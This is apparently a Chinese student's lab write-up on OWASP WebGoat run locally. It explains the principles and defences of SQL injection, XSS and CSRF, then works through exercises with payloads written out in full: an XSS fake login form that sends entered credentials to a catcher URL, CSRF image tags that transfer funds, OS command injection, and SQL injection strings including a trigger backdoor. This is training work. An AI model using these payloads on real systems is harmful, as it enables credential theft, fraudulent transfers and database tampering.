(1)SQL注入攻擊原理,如何防護?html
SQL注入攻擊就是經過把SQL命令插入到Web表單遞交或輸入域名或頁面請求的查詢字符串,最終達到欺騙服務器執行惡意SQL命令的目的。java
防護:利用輸入規則限制進行防護,過濾輸入的數據,不容許特殊字符輸入。web
(2)XSS攻擊的原理,如何防護?sql
跨站腳本攻擊,容許惡意用戶將惡意Script代碼注入到網頁上,當用戶瀏覽網頁時,嵌入其中Web裏面的Script代碼會被執行,從而被攻擊,其餘用戶在觀看網頁時就會受到影響。XSS攻擊的主要目的是,想辦法獲取目標攻擊網站的cookie,由於有了cookie至關於有了seesion,有了這些信息就能夠在任意能接進互聯網的pc登錄該網站,並以其餘人的身份登錄,作一些破壞。瀏覽器
防護:在表單提交或者url參數傳遞前,對須要的參數進行過濾;檢查用戶輸入的內容中是否有非法內容,如尖括號、引號等,嚴格控制輸出。安全
(3)CSRF攻擊原理,如何防護?服務器
防護:經過referer、token或者驗證碼來檢測用戶提交;在form中包含祕密信息、用戶指定的代號做爲cookie以外的驗證;按期清理保存的cookie。
cookie
跟着組長作第一步的時候一臉懵逼,徹底不知道在幹什麼,在瀏覽器登錄上wedgoat以後我用我拙劣的英語翻譯水平費勁的認識到這恐怕是一個外國的學習安全技術的漏洞實驗平臺。其實不少內容原理挺簡單的,就是仍是得好好學英語否則看不懂題目,國內也有相似的如愛春秋之類的信息安全實戰平臺咱們也能夠體驗學習。還有就是跟着別人的博客作完實驗必定要思考爲何是這樣,僅僅是按着流程走一遍獲得成功結果其實意義並不大。網絡
WebGoat是OWASP組織研製出的用於進行web漏洞實驗的應用平臺,用來講明web應用中存在的安全漏洞。WebGoat運行在帶有java虛擬機的平臺之上,目前提供的訓練課程有不少,包含了XSS、線程安全、SQL注入等,咱們本次的實驗就是在WebGoat平臺上進行。xss
一、輸入java -jar webgoat-container-7.0.1-war-exec.jar打開webgoat。
二、在瀏覽器輸入localhost:8080/WebGoat登錄平臺。
在搜索框輸入以下攻擊代碼:
</form> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br> <br> <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR>
輸入用戶名密碼,點擊登陸,WebGoat會將你輸入的信息捕獲並反饋給你
攻擊成功!
要求建立非法的消息內容,能夠致使其餘用戶訪問時載入非預期的頁面或內容。
在message中輸入一串代碼如<script>alert("20145239 attack succeed!");</script>
提交,彈出窗口,攻擊成功!
在code框中輸入<script>alert("5239 attack succeed!");</script>將帶有攻擊性的URL做爲輸入源。
彈出會話框,反射型XSS攻擊成功!
寫一個URL誘使其餘用戶點擊,從而觸發CSRF攻擊,咱們能夠以圖片的的形式將URL放進Message框,這時的URL對其餘用戶是不可見的,用戶一旦點擊圖片,就會觸發一個CSRF事件。
在message框中輸入<img src="http://localhost:8080/WebGoat/attack?Screen=270&menu=900&transferFunds=4000"/>
(Screen和menu的值在窗口右邊查看)
提交後在下面的Message List裏面能夠看我剛剛發送的消息,點擊它,當前頁面就會下載這個消息並顯示出來,轉走用戶的5239元,從而達到CSRF攻擊的目的。
瀏覽器開啓一個新頁面,輸入localhost:8080/WebGoat/attack?Screen=1410&menu=900&transferFunds=5000進入確認轉帳請求頁面。
點擊CONFIRM以後,再輸入localhost:8080/WebGoat/attack?Screen=1410&menu=900&transferFunds=CONFIRM
成功轉走了5000元。緣由是網頁的源代碼中transferFunds的值變成了CONFIRM。
題目的要求是:嘗試給操做系統注入命令行,要求可以在目標主機上執行系統命令。
經過火狐瀏覽器下的一個擴展Firebug對源代碼進行修改,右鍵點擊BackDoors.help旁邊加上 "& netstat -an & ipconfig"
選中修改後的值再點擊view,能夠看到命令被執行,出現系統網絡鏈接狀況:
題目大意是這個表單容許使用者看到天氣數據,利用SQL注入使得能夠看見全部數據。
在103後面加上一個 or 1=1使其成爲永真式。
點擊Go!發現已經成功了。
輸入' or 1=1 --構造永真式。點擊Go!發現全部用戶信息都被顯示出來了。
輸入' or 1=1 --注入,失敗。在輸入框右鍵打開html源碼,發現maxlength被限制爲8。修改爲20,再次登錄,成功!
在上一個實驗的基礎上,過一個普通員工的帳戶larry,瀏覽其BOSS的帳戶信息。
在larry的名字右鍵,打開源碼,發現這個地方是以員工ID做爲索引傳遞參數的。將value的值修改成101 or 1=1 order by salary desc --
這樣老闆的信息就會被排到第一個。
再次點擊ViewProfile,發現已經看到老闆的信息了。
先輸入101,獲得該用戶的信息:
注入語句101; update employee set salary=5239,將其工資變爲了5239。
最後輸入101;CREATE TRIGGER lxmBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='20145239@qq.com' WHERE userid = NEW.userid把表中全部的郵箱和用戶ID都設爲我本身的。